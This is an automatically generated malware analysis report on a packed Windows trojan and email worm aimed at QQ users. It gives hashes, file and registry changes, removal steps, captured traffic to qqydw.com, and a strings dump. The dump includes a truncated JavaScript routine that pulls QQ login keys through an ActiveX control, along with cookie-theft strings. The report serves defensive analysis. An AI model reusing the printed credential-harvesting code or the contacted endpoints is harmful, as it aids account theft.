Gen:Variant.Mikey.14705 (B) (Emsisoft), Gen:Variant.Mikey.14705 (AdAware), Trojan.Win32.FlyStudio.FD, Trojan.Win32.Swrort.3.FD, GenericEmailWorm.YR, TrojanFlyStudio.YR (Lavasoft MAS)Behaviour: Trojan, Worm, EmailWorm
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: 6dce8de985eb870962917e02c19e02be
SHA1: 8f1438ebbe94b98944a800d1e0b0f9c41c2edbef
SHA256: 1d0d8f3588b7774bd8cae76cfe5923f2e8264e360838cb30919da772d0035546
SSDeep: 49152:FBlbGssFNEO4vEte42TQJB4uKx OmojMk:DtGLN4EtJJB4uKB
Size: 2251264 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2015-06-23 15:10:23
Analyzed on: WindowsXP SP3 32-bit
Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).
Dynamic Analysis
Payload
Behaviour | Description |
---|---|
EmailWorm | Worm can send e-mails. |
Process activity
The Trojan creates the following process(es):No processes have been created.The Trojan injects its code into the following process(es):
%original file name%.exe:812
Mutexes
The following mutexes were created/opened:No objects were found.
File activity
The process %original file name%.exe:812 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
C:\gzip.dll (30 bytes)
Registry activity
The process %original file name%.exe:812 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FD FB C7 D3 94 AC 36 27 CF A4 77 27 BC 87 57 3E"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Multimedia\DrawDib]
"vga.drv 1916x902x32(BGR 0)" = "31,31,31,31"
Dropped PE files
MD5 | File path |
---|---|
8b3591965f623b219c0c528153746cab | c:\gzip.dll |
HOSTS file anomalies
No changes have been detected.
Rootkit activity
No anomalies have been detected.
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
- Delete the original Trojan file.
- Delete or disinfect the following files created/modified by the Trojan:
C:\gzip.dll (30 bytes)
- Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Reboot the computer.
Static Analysis
VersionInfo
No information is available.
No information is available.
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
UPX0 | 4096 | 2314240 | 0 | 0 | d41d8cd98f00b204e9800998ecf8427e |
UPX1 | 2318336 | 1925120 | 1924096 | 5.46183 | ba763923f0c75391e37367c7c800ff32 |
.rsrc | 4243456 | 327680 | 326144 | 2.96812 | 4ac2aa8f956bfabcc366987c82fae2f2 |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Network Activity
URLs
URL | IP |
---|---|
hxxp://65770.vhost8.cloudvhost.cn/gx1.txt | |
hxxp://www.qqydw.com/gx1.txt | 122.114.121.8 |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
GET /gx1.txt HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Host: VVV.qqydw.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Wed, 08 Jul 2015 02:21:12 GMT
Server: Apache
Last-Modified: Tue, 07 Jul 2015 07:44:54 GMT
ETag: "3204b9-2890-51a4432af4980"
Accept-Ranges: bytes
Content-Length: 10384
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/plain; charset=UTF-8
QQ.............[1:8.62|hXXp://qyddl.oss-cn-qingdao.aliyuncs.com/QQç%A9ºé—´è®¿å®¢æÂÂå–器.rar]..QQ.............[2:8.72|hXXp://qyddl.oss-cn-qingdao.aliyuncs.com/QQèµ%84料查询器.rar]..QQ..................(......).[4:7.8|hXXp://qyddl.oss-cn-qingdao.aliyuncs.com/QQç›´æŽ%A5加好å‹过滤.rar].....................[6:1.0|hXXp://pan.baidu.com/s/1o6wX5xw]......QQ.........[7:1.3|http://pan.baidu.com/s/1o6wX5xw]..QQ..................(......).[8:7.8|http://qyddl.oss-cn-qingdao.aliyuncs.com/QQ直接加å%A5½å‹过滤.exe]..QQ.................[9:1.1|http://pan.baidu.com/s/1o6wX5xw]..QQ.............[10:3.2|hXXp://qyddl.oss-cn-qingdao.aliyuncs.com/QQ群æˆÂ员æÂÂå–%E5™¨.exe]..QQ.................[11:1.6|hXXp://pan.baidu.com/s/1o6wX5xw]..QQ.................[31:7.7|hXXp://qyddl.oss-cn-qingdao.aliyuncs.com/精准QQå·ç Â采集专%E5®¶.exe]..QQ................QQ.........[13:1.2|hXXp://VVV.qqydw.com]......QQ.............[14:2.0|hXXp://pan.baidu.com/s/1o6wX5xw]..QQ...............[15:2.1|hXXp://pan.baidu.com/s/1o6wX5xw]..QQ.................[16:3.0|hXXp://pan.baidu.com/s/1o6wX5xw]..QQ.................[17:3.0|hXXp://pan.baidu.com/s/1o6wX5xw]..QQ.................[18:1.5|http://VVV.qqydw.com]..QQ.................[19:1.2|hXXp://VVV.qqydw.com]..QQ.................[20:1.1|hXXp://VVV.qqydw.com]..QQ.................
<<< skipped >>>
GET /gx1.txt HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Host: VVV.qqydw.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Wed, 08 Jul 2015 02:21:12 GMT
Server: Apache
Last-Modified: Tue, 07 Jul 2015 07:44:54 GMT
ETag: "3204b9-2890-51a4432af4980"
Accept-Ranges: bytes
Content-Length: 10384
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/plain; charset=UTF-8
QQ.............[1:8.62|hXXp://qyddl.oss-cn-qingdao.aliyuncs.com/QQç%A9ºé—´è®¿å®¢æÂÂå–器.rar]..QQ.............[2:8.72|hXXp://qyddl.oss-cn-qingdao.aliyuncs.com/QQèµ%84料查询器.rar]..QQ..................(......).[4:7.8|hXXp://qyddl.oss-cn-qingdao.aliyuncs.com/QQç›´æŽ%A5加好å‹过滤.rar].....................[6:1.0|hXXp://pan.baidu.com/s/1o6wX5xw]......QQ.........[7:1.3|http://pan.baidu.com/s/1o6wX5xw]..QQ..................(......).[8:7.8|http://qyddl.oss-cn-qingdao.aliyuncs.com/QQ直接加å%A5½å‹过滤.exe]..QQ.................[9:1.1|http://pan.baidu.com/s/1o6wX5xw]..QQ.............[10:3.2|hXXp://qyddl.oss-cn-qingdao.aliyuncs.com/QQ群æˆÂ员æÂÂå–%E5™¨.exe]..QQ.................[11:1.6|hXXp://pan.baidu.com/s/1o6wX5xw]..QQ.................[31:7.7|hXXp://qyddl.oss-cn-qingdao.aliyuncs.com/精准QQå·ç Â采集专%E5®¶.exe]..QQ................QQ.........[13:1.2|hXXp://VVV.qqydw.com]......QQ.............[14:2.0|hXXp://pan.baidu.com/s/1o6wX5xw]..QQ...............[15:2.1|hXXp://pan.baidu.com/s/1o6wX5xw]..QQ.................[16:3.0|hXXp://pan.baidu.com/s/1o6wX5xw]..QQ.................[17:3.0|hXXp://pan.baidu.com/s/1o6wX5xw]..QQ.................[18:1.5|http://VVV.qqydw.com]..QQ.................[19:1.2|hXXp://VVV.qqydw.com]..QQ.................[20:1.1|hXXp://VVV.qqydw.com]..QQ.................
<<< skipped >>>
Map
The Trojan connects to the servers at the folowing location(s):
Strings from Dumps
%original file name%.exe_812:
`.rsrc
`.rsrc
t%SVh
t%SVh
t$(SSh
t$(SSh
~%UVW
~%UVW
u$SShe
u$SShe
atl.dll
atl.dll
wininet.dll
wininet.dll
FastVerCode.dll
FastVerCode.dll
UUWiseHelper.dll
UUWiseHelper.dll
dc.dll
dc.dll
gdiplus.dll
gdiplus.dll
ole32.dll
ole32.dll
gzip.dll
gzip.dll
shlwapi.dll
shlwapi.dll
Kernel32.dll
Kernel32.dll
ADVAPI32.DLL
ADVAPI32.DLL
secur32.dll
secur32.dll
advapi32.dll
advapi32.dll
shell32.dll
shell32.dll
kernel32.dll
kernel32.dll
Rasapi32.dll
Rasapi32.dll
user32.dll
user32.dll
Psapi.dll
Psapi.dll
GdiPlus.dll
GdiPlus.dll
ntdll.dll
ntdll.dll
GetProcessHeap
GetProcessHeap
ShellExecuteA
ShellExecuteA
uu_loginA
uu_loginA
GdiplusShutdown
GdiplusShutdown
CreateIoCompletionPort
CreateIoCompletionPort
ReportError
ReportError
uu_reportError
uu_reportError
EnumChildWindows
EnumChildWindows
GetProcessHeaps
GetProcessHeaps
{B6F7542F-B8FE-46a8-9605-98856A687097}
{B6F7542F-B8FE-46a8-9605-98856A687097}
{E5000198-4471-40e2-92BC-D0BA075BDBB2}
{E5000198-4471-40e2-92BC-D0BA075BDBB2}
.idata
.idata
.edata
.edata
P.vmp0
P.vmp0
`.vmp1
`.vmp1
.reloc
.reloc
P.rsrc
P.rsrc
version.dll
version.dll
1e.ro4A
1e.ro4A
oleaut32.dll
oleaut32.dll
H0.gW
H0.gW
comctl32.dll
comctl32.dll
gdi32.dll
gdi32.dll
d.jF/"
d.jF/"
r#'%C
r#'%C
6.Xdp
6.Xdp
g|$^.Cn
g|$^.Cn
>.bM8
>.bM8
>Z.Ye
>Z.Ye
w4R`$p%s*
w4R`$p%s*
f.zo~L^
f.zo~L^
wsock32.dll
wsock32.dll
Ë.L@
Ë.L@
l.sQ{
l.sQ{
c-t{.FF
c-t{.FF
b#I".wM
b#I".wM
e.ENZ
e.ENZ
xip.tu
xip.tu
@>.vO
@>.vO
%FX2Fsi
%FX2Fsi
qKT.jLka
qKT.jLka
3.LD7
3.LD7
Uq
Uq
G,.gd
G,.gd
<.cff>
<.cff>
&8.XMj
&8.XMj
$~O.Ba
$~O.Ba
)].Wd
)].Wd
/_{M%U
/_{M%U
Q%s6|
Q%s6|
lVfeVg
lVfeVg
!%uO
!%uO
mh.ud
mh.ud
m%Csn%
m%Csn%
kq84.QaI
kq84.QaI
)f%fg
)f%fg
.SuDYw
.SuDYw
K)`p.frC
K)`p.frC
*%s!%
*%s!%
aR.dDb&
aR.dDb&
.xk 4g
.xk 4g
RegCloseKey
RegCloseKey
)%S{.
)%S{.
'U}.Ue
'U}.Ue
l%S(8x$!(
l%S(8x$!(
1L%UJ
1L%UJ
.vtbw
.vtbw
.iA5N
.iA5N
yyhKa%S
yyhKa%S
d.Zd=#R
d.Zd=#R
x0r%F{
x0r%F{
.IPi)
.IPi)
Vj.jH
Vj.jH
>M%X9
>M%X9
/8[
/8[
bc.lTk
bc.lTk
ks_GetMsg
ks_GetMsg
kssPlugin.dll
kssPlugin.dll
tole32.dll
tole32.dll
SSOAxCtrlForPTLogin.SSOForPTLogin2
SSOAxCtrlForPTLogin.SSOForPTLogin2
hXXp://xui.ptlogin2.qq.com/cgi-bin/qlogin
hXXp://xui.ptlogin2.qq.com/cgi-bin/qlogin
document.body.innerHTML=GetuinKey();
document.body.innerHTML=GetuinKey();
function GetuinKey(){var text="";var q_hummerQtrl=null;var g_vOptData=null;if(window.ActiveXObject){try{q_hummerQtrl=new ActiveXObject("SSOAxCtrlForPTLogin.SSOForPTLogin2");var A=q_hummerQtrl.CreateTXSSOData();q_hummerQtrl.InitSSOFPTCtrl(0,A);g_vOptData=q_hummerQtrl.CreateTXSSOData();var a=q_hummerQtrl.DoOperation(1,g_vOptData);var V=a.GetArray("PTALIST");var f=V.GetSize();var H=$("list_uin");for(var g=0;g
function GetuinKey(){var text="";var q_hummerQtrl=null;var g_vOptData=null;if(window.ActiveXObject){try{q_hummerQtrl=new ActiveXObject("SSOAxCtrlForPTLogin.SSOForPTLogin2");var A=q_hummerQtrl.CreateTXSSOData();q_hummerQtrl.InitSSOFPTCtrl(0,A);g_vOptData=q_hummerQtrl.CreateTXSSOData();var a=q_hummerQtrl.DoOperation(1,g_vOptData);var V=a.GetArray("PTALIST");var f=V.GetSize();var H=$("list_uin");for(var g=0;g
&keyindex=9&pt_aid=549000912&u1=http://qzs.qq.com/qzone/v5/loginsucc.html?para=izone
&keyindex=9&pt_aid=549000912&u1=http://qzs.qq.com/qzone/v5/loginsucc.html?para=izone
&clientkey=
&clientkey=
hXXp://ptlogin2.qq.com/jump?clientuin=
hXXp://ptlogin2.qq.com/jump?clientuin=
skey=
skey=
; skey=
; skey=
skey=@
skey=@
cookies.txt
cookies.txt
hXXp://user.qzone.qq.com/
hXXp://user.qzone.qq.com/
user.qzone.qq.com
user.qzone.qq.com
hXXp://user.qzone.qq.com/
hXXp://user.qzone.qq.com/
%Program Files%\Internet Explorer\iexplore.exe
%Program Files%\Internet Explorer\iexplore.exe
domain=qq.com
domain=qq.com
hXXp://
hXXp://
Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Cookies
Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Cookies
\*.txt
\*.txt
qq.com
qq.com
; domain=.qq.com
; domain=.qq.com
.rsrc
.rsrc
%S4WD
%S4WD
hg%fpM
hg%fpM
S.Ac9SR
S.Ac9SR
0.I%3s
0.I%3s
,wAe.kI
,wAe.kI
aiUy'4xu
aiUy'4xu
%c*@j
%c*@j
.eH'y
.eH'y
{&%U)
{&%U)
lj%4U
lj%4U
xe%CNs
xe%CNs
9F.cLe
9F.cLe
hJK.ZH
hJK.ZH
O.qt0
O.qt0
KERNEL32.DLL
KERNEL32.DLL
COMCTL32.dll
COMCTL32.dll
GDI32.dll
GDI32.dll
MSIMG32.dll
MSIMG32.dll
MSVCRT.dll
MSVCRT.dll
MSVFW32.dll
MSVFW32.dll
USER32.dll
USER32.dll
SkinH_EL.dll
SkinH_EL.dll
\LZConfig.ini
\LZConfig.ini
\FastVerCode.dll
\FastVerCode.dll
.text
.text
`.rdata
`.rdata
@.data
@.data
@.reloc
@.reloc
NETAPI32.dll
NETAPI32.dll
MFC42.DLL
MFC42.DLL
KERNEL32.dll
KERNEL32.dll
SHLWAPI.dll
SHLWAPI.dll
WININET.dll
WININET.dll
.PAVCObject@@
.PAVCObject@@
.PAVCException@@
.PAVCException@@
.PAVCFileException@@
.PAVCFileException@@
.PAVCInternetException@@
.PAVCInternetException@@
Content-Disposition: form-data; name="key"
Content-Disposition: form-data; name="key"
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MALN)
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MALN)
POST /api.php?mod=yzm&act=state HTTP/1.1
POST /api.php?mod=yzm&act=state HTTP/1.1
/api.php?mod=yzm&act=state
/api.php?mod=yzm&act=state
LZConfig.ini
LZConfig.ini
User-Agent: Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0)
User-Agent: Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0)
HTTP/1.1
HTTP/1.1
/api.php?mod=yzm&act=add
/api.php?mod=yzm&act=add
POST /api.php?mod=yzmm&act=result_new HTTP/1.1
POST /api.php?mod=yzmm&act=result_new HTTP/1.1
/api.php?mod=yzmm&act=result_new
/api.php?mod=yzmm&act=result_new
POST /api.php?mod=yzm&act=point HTTP/1.1
POST /api.php?mod=yzm&act=point HTTP/1.1
/api.php?mod=yzm&act=point
/api.php?mod=yzm&act=point
POST /api.php?mod=yzm&act=register HTTP/1.1
POST /api.php?mod=yzm&act=register HTTP/1.1
/api.php?mod=yzm&act=register
/api.php?mod=yzm&act=register
eee.hyslt.com
eee.hyslt.com
POST /api.php?mod=dmuser&act=yzm_error HTTP/1.1
POST /api.php?mod=dmuser&act=yzm_error HTTP/1.1
/api.php?mod=dmuser&act=yzm_error
/api.php?mod=dmuser&act=yzm_error
.hyslt.com
.hyslt.com
XXXXXX
XXXXXX
hXXp://ip.qq.com/
hXXp://ip.qq.com/
POST /api.php?mod=yzm&act=server HTTP/1.1
POST /api.php?mod=yzm&act=server HTTP/1.1
/api.php?mod=yzm&act=server
/api.php?mod=yzm&act=server
\UUExtConfig.ini
\UUExtConfig.ini
CodeType=0\UUWiseHelper.dll
CodeType=0\UUWiseHelper.dll
SSSSh
SSSSh
ByScreen.JPG
ByScreen.JPG
operator
operator
GetProcessWindowStation
GetProcessWindowStation
E:\work\UUWiseHelper
E:\work\UUWiseHelper
\UUWiseHelper.pdb
\UUWiseHelper.pdb
RegOpenKeyExW
RegOpenKeyExW
ADVAPI32.dll
ADVAPI32.dll
SHELL32.dll
SHELL32.dll
OLEAUT32.dll
OLEAUT32.dll
urlmon.dll
urlmon.dll
dbghelp.dll
dbghelp.dll
IPHLPAPI.DLL
IPHLPAPI.DLL
WS2_32.dll
WS2_32.dll
GetCPInfo
GetCPInfo
UUWiseHelper.DLL
UUWiseHelper.DLL
uu_easyRecognizeUrlA
uu_easyRecognizeUrlA
uu_easyRecognizeUrlW
uu_easyRecognizeUrlW
uu_loginW
uu_loginW
uu_recognizeByCodeTypeAndUrlA
uu_recognizeByCodeTypeAndUrlA
uu_recognizeByCodeTypeAndUrlW
uu_recognizeByCodeTypeAndUrlW
zcÃ
zcÃ
"0,01070
"0,01070
8Â8J8R8x8
8Â8J8R8x8
0#0'0-01070;0
0#0'0-01070;0
=*>0>4>8>
=*>0>4>8>
5%6S6
5%6S6
3$3,383\3|3
3$3,383\3|3
:-1014,URL
:-1014,URL
:-19011,
:-19011,
TEAKEY
TEAKEY
\dc.dll
\dc.dll
deflate 1.1.3 Copyright 1995-1998 Jean-loup Gailly
deflate 1.1.3 Copyright 1995-1998 Jean-loup Gailly
inflate 1.1.3 Copyright 1995-1998 Mark Adler
inflate 1.1.3 Copyright 1995-1998 Mark Adler
WSOCK32.dll
WSOCK32.dll
MSVCP60.dll
MSVCP60.dll
ReportError_A
ReportError_A
VBYB_ReportError
VBYB_ReportError
VB_ReportError
VB_ReportError
debug.ini
debug.ini
ReportError:%s
ReportError:%s
Error:%s
Error:%s
%s|!|%s
%s|!|%s
\dms.pdb
\dms.pdb
%u%u,
%u%u,
dclog.txt
dclog.txt
config.ini
config.ini
port
port
settimeout:%d
settimeout:%d
[%d]%s
[%d]%s
reg2:%s
reg2:%s
checkok:%s %s
checkok:%s %s
check fail:%s %s %s
check fail:%s %s %s
check:%s %s
check:%s %s
getcjfail:%s %s
getcjfail:%s %s
getcj:%s %s
getcj:%s %s
%s%uout
%s%uout
%s%uin
%s%uin
put img ok:%s
put img ok:%s
put img fail:%s
put img fail:%s
put img:%s %s %d
put img:%s %s %d
get result ok:%s,%s
get result ok:%s,%s
get result fail:%s
get result fail:%s
get result:%s
get result:%s
notifyfail ok:%s
notifyfail ok:%s
%s\%d-%s.png
%s\%d-%s.png
notifyfail fail:%s,%s
notifyfail fail:%s,%s
notifyfail:%s
notifyfail:%s
getimgok:%s,%s
getimgok:%s,%s
getimg:%s
getimg:%s
getinfo fail:%s
getinfo fail:%s
getinfo:%s,%s
getinfo:%s,%s
setresult:%s,%s
setresult:%s,%s
HTTP/1.1 200 OK
HTTP/1.1 200 OK
recv:%d
recv:%d
send:%d
send:%d
GET /ip.txt HTTP/1.1
GET /ip.txt HTTP/1.1
Host: %s
Host: %s
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.2
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:6.0.2) Gecko/20100101 Firefox/6.0.2
select:%d
select:%d
ioctlsocket:%d
ioctlsocket:%d
socket:%d
socket:%d
api.qqchaoren.net
api.qqchaoren.net
14.17.65.24
14.17.65.24
14.17.65.23
14.17.65.23
dama2.qqchaoren.net
dama2.qqchaoren.net
dama1.qqchaoren.net
dama1.qqchaoren.net
connect total:%s %d
connect total:%s %d
:%s %d
:%s %d
connect discard:%s %d
connect discard:%s %d
[d-d-d d:d:d](u)
[d-d-d d:d:d](u)
recv timeout:
recv timeout:
recvfail:%d
recvfail:%d
server close:%d
server close:%d
recv:%d
recv:%d
send:%d
send:%d
sendfail:%d
sendfail:%d
connect timeout:
connect timeout:
connectok:%s %hu
connectok:%s %hu
127.0.0.1
127.0.0.1
1.1.3
1.1.3
eKC:\Windows\qqydw.ini
eKC:\Windows\qqydw.ini
=798222986
=798222986
=hXXp://VVV.qqydw.com
=hXXp://VVV.qqydw.com
=hXXp://qqydw.com/sale.php?uid=5
=hXXp://qqydw.com/sale.php?uid=5
=hXXp://qqydw.oss-cn-beijing.aliyuncs.com/QQ空间图片上传大师ã€Â手机版】.exe
=hXXp://qqydw.oss-cn-beijing.aliyuncs.com/QQ空间图片上传大师ã€Â手机版】.exe
\gzip.dll
\gzip.dll
`.data
`.data
gzip.pdb
gzip.pdb
_u%SV
_u%SV
BFeUQy48sgDIgituHpLLjZpSFM99LRy5cgyfc2jZnBPXfs2bXCuDTPyRecN0KucEwKf1heFA4bVrg3yT45lkse/D0MebGxED/eMEmaLRA8jCQUC4a0vSDsfGFLgvYUnJhRssT6D8qhIBKCq3tm8nsux0QGJtS1vryWVq4x8uuKzXBfLxR5RnyAwimqrkz1IrVbmIueIPTNgKJUNuobkC/KDzpvVplDMOQLYlRDgXq1l/fPpgBzn8vM8TN698ao9rzXQh6zwhXnVKlqzm5vYf3ZsqTCx5RsuvlMWBPTpGbJ/DoKy6OVNdtPFVge1NrRTrE qD74RUBIw9KBQNBohq2pv69QekwgnzKQgP7uNePJysjqQc4o2cFA2KUJuMERdZNw9RSn8acmliXlb6wYGsg6zBlbGi86RUwq1OXi3AUan/iCU25icEkXwzFYR6aq07ddbdvfWztzH5SN76DgYF7s0I3PmEmzOYXKnl51lZTQoNGyrw8/GMAZqaS8HpyZMV9JacNBGVLdh1GBHcpJTdAWjHINn9F1Tkc0GFZaTTd4bBAzqqa8aIsUlVxhuKRWXwl8NTEQUtQCCJ1FpKv3p/2pTSxU28/SvEuk9zen0Jdqri3tOvI52dbF/8uhyHJPeVVPayPCtruRosJQ5zSiZbKALSshbqgClfDPBmXmLZMp5kDw2KXKiXratnmGZxPhpeAJxI4Makq210KZYcjhsH/7y2Zhw7BjqnmuTK9r53RppqCV4e0IdnraQz0xGlrpx6a2rcuUWm2KUbsS3t7o2GKZVdA3igPWDwU7m4ES6Tbm 6QqyxZ6zCuMlN7Z/kQN8pQrZxuHZOS7f3XQdG7c4aXWe0bZKaul2FvwJ8vN7r9vYS/I1pR5O6AjcyVqALs6IhNpqeAAGfB/8CM6zKz4mOafk2MHkcjXfNTo7g3uiOW3sgwS83oPWyUIEgbrA98NQ7rx19QqCduWyUD8uFMg/rmMJdcEivyNTtL 1MSE6c62XRuwnDsMIaJbMadQO28mnWQbkfDqYAqzLe/UMIclcevUsk ljHGsVNfgs/AJIul9Iup4SI9spHiXdTwiJEfYda9tidiYMJDCbSElQ01JIqoNyiQM6JhKbADW NLSJAwGIxF9JHRBTase IVZ8qtfhjfUGDDHp/64/1JnSKMgmmBG0GZQ93LqW3S0o2dtEjIIbrKeYN0nVAOD98TmsaaPXOIaLzsxI5eTQXoWmBvCoUod18iWA9cm8X6jtp744OxmkBCIzyGd/8/fVnuXtdDn5la9Heve8TbIx40H/doz26UEJkoi8Ee A0lyKMZzvf52tf0haJrjYLf6VFakw4d5/nNuqCiwkuBTxV43FM0jfTM2IyASsw1M6LT3RuE Dgdw6GJQav3PIcaX2FIP 3LMmyKs JssHRtEMYxbsWK ENrpWbtndIMjAqDCq65HlMS968j/w kdglMRCUnigeuKl208CkIBuGyFllo2KnZOmfyPjqrIeC9pzLSFQCaCBGtEzZ7d63qgkFPyNPtIgqNYwcHprANS3 ZWhQAzOWoVQhEwTGnd27OAu6VIzf DNK3bhZS2aQR/iMIUxzzaSniTaAN7fjOU/qMH2zNrPbFkUFbv9ieR6inLg/kQgj SZ/rnMOncErz3u1r/5O8LucOo6NW2b1orPbIBGSeBa0ctOUQpjRtoe6TLGGb9LXULJmIqM=
BFeUQy48sgDIgituHpLLjZpSFM99LRy5cgyfc2jZnBPXfs2bXCuDTPyRecN0KucEwKf1heFA4bVrg3yT45lkse/D0MebGxED/eMEmaLRA8jCQUC4a0vSDsfGFLgvYUnJhRssT6D8qhIBKCq3tm8nsux0QGJtS1vryWVq4x8uuKzXBfLxR5RnyAwimqrkz1IrVbmIueIPTNgKJUNuobkC/KDzpvVplDMOQLYlRDgXq1l/fPpgBzn8vM8TN698ao9rzXQh6zwhXnVKlqzm5vYf3ZsqTCx5RsuvlMWBPTpGbJ/DoKy6OVNdtPFVge1NrRTrE qD74RUBIw9KBQNBohq2pv69QekwgnzKQgP7uNePJysjqQc4o2cFA2KUJuMERdZNw9RSn8acmliXlb6wYGsg6zBlbGi86RUwq1OXi3AUan/iCU25icEkXwzFYR6aq07ddbdvfWztzH5SN76DgYF7s0I3PmEmzOYXKnl51lZTQoNGyrw8/GMAZqaS8HpyZMV9JacNBGVLdh1GBHcpJTdAWjHINn9F1Tkc0GFZaTTd4bBAzqqa8aIsUlVxhuKRWXwl8NTEQUtQCCJ1FpKv3p/2pTSxU28/SvEuk9zen0Jdqri3tOvI52dbF/8uhyHJPeVVPayPCtruRosJQ5zSiZbKALSshbqgClfDPBmXmLZMp5kDw2KXKiXratnmGZxPhpeAJxI4Makq210KZYcjhsH/7y2Zhw7BjqnmuTK9r53RppqCV4e0IdnraQz0xGlrpx6a2rcuUWm2KUbsS3t7o2GKZVdA3igPWDwU7m4ES6Tbm 6QqyxZ6zCuMlN7Z/kQN8pQrZxuHZOS7f3XQdG7c4aXWe0bZKaul2FvwJ8vN7r9vYS/I1pR5O6AjcyVqALs6IhNpqeAAGfB/8CM6zKz4mOafk2MHkcjXfNTo7g3uiOW3sgwS83oPWyUIEgbrA98NQ7rx19QqCduWyUD8uFMg/rmMJdcEivyNTtL 1MSE6c62XRuwnDsMIaJbMadQO28mnWQbkfDqYAqzLe/UMIclcevUsk ljHGsVNfgs/AJIul9Iup4SI9spHiXdTwiJEfYda9tidiYMJDCbSElQ01JIqoNyiQM6JhKbADW NLSJAwGIxF9JHRBTase IVZ8qtfhjfUGDDHp/64/1JnSKMgmmBG0GZQ93LqW3S0o2dtEjIIbrKeYN0nVAOD98TmsaaPXOIaLzsxI5eTQXoWmBvCoUod18iWA9cm8X6jtp744OxmkBCIzyGd/8/fVnuXtdDn5la9Heve8TbIx40H/doz26UEJkoi8Ee A0lyKMZzvf52tf0haJrjYLf6VFakw4d5/nNuqCiwkuBTxV43FM0jfTM2IyASsw1M6LT3RuE Dgdw6GJQav3PIcaX2FIP 3LMmyKs JssHRtEMYxbsWK ENrpWbtndIMjAqDCq65HlMS968j/w kdglMRCUnigeuKl208CkIBuGyFllo2KnZOmfyPjqrIeC9pzLSFQCaCBGtEzZ7d63qgkFPyNPtIgqNYwcHprANS3 ZWhQAzOWoVQhEwTGnd27OAu6VIzf DNK3bhZS2aQR/iMIUxzzaSniTaAN7fjOU/qMH2zNrPbFkUFbv9ieR6inLg/kQgj SZ/rnMOncErz3u1r/5O8LucOo6NW2b1orPbIBGSeBa0ctOUQpjRtoe6TLGGb9LXULJmIqM=
1.edb
1.edb
hXXp://VVV.qqydw.com/gx1.txt
hXXp://VVV.qqydw.com/gx1.txt
:hXXp://VVV.eyuyan.cc
:hXXp://VVV.eyuyan.cc
cookies-gtk.txt
cookies-gtk.txt
JPG,GIF,PNG,JPEG)|*.*
JPG,GIF,PNG,JPEG)|*.*
0000020000
0000020000
0000100000
0000100000
474946383961
474946383961
474946383761
474946383761
0000100
0000100
00000100
00000100
0000020001002020
0000020001002020
52494646
52494646
{557CF400-1A04-11D3-9A73-0000F81EF32E}
{557CF400-1A04-11D3-9A73-0000F81EF32E}
{557CF401-1A04-11D3-9A73-0000F81EF32E}
{557CF401-1A04-11D3-9A73-0000F81EF32E}
{557CF402-1A04-11D3-9A73-0000F81EF32E}
{557CF402-1A04-11D3-9A73-0000F81EF32E}
{557CF405-1A04-11D3-9A73-0000F81EF32E}
{557CF405-1A04-11D3-9A73-0000F81EF32E}
{557CF406-1A04-11D3-9A73-0000F81EF32E}
{557CF406-1A04-11D3-9A73-0000F81EF32E}
hXXp://VVV.jsdati.com
hXXp://VVV.jsdati.com
hXXp://VVV.qqchaoren.net
hXXp://VVV.qqchaoren.net
hXXp://VVV.uuwise.com
hXXp://VVV.uuwise.com
Hs("{pass}","{uin}","{code}")
Hs("{pass}","{uin}","{code}")
{pass}
{pass}
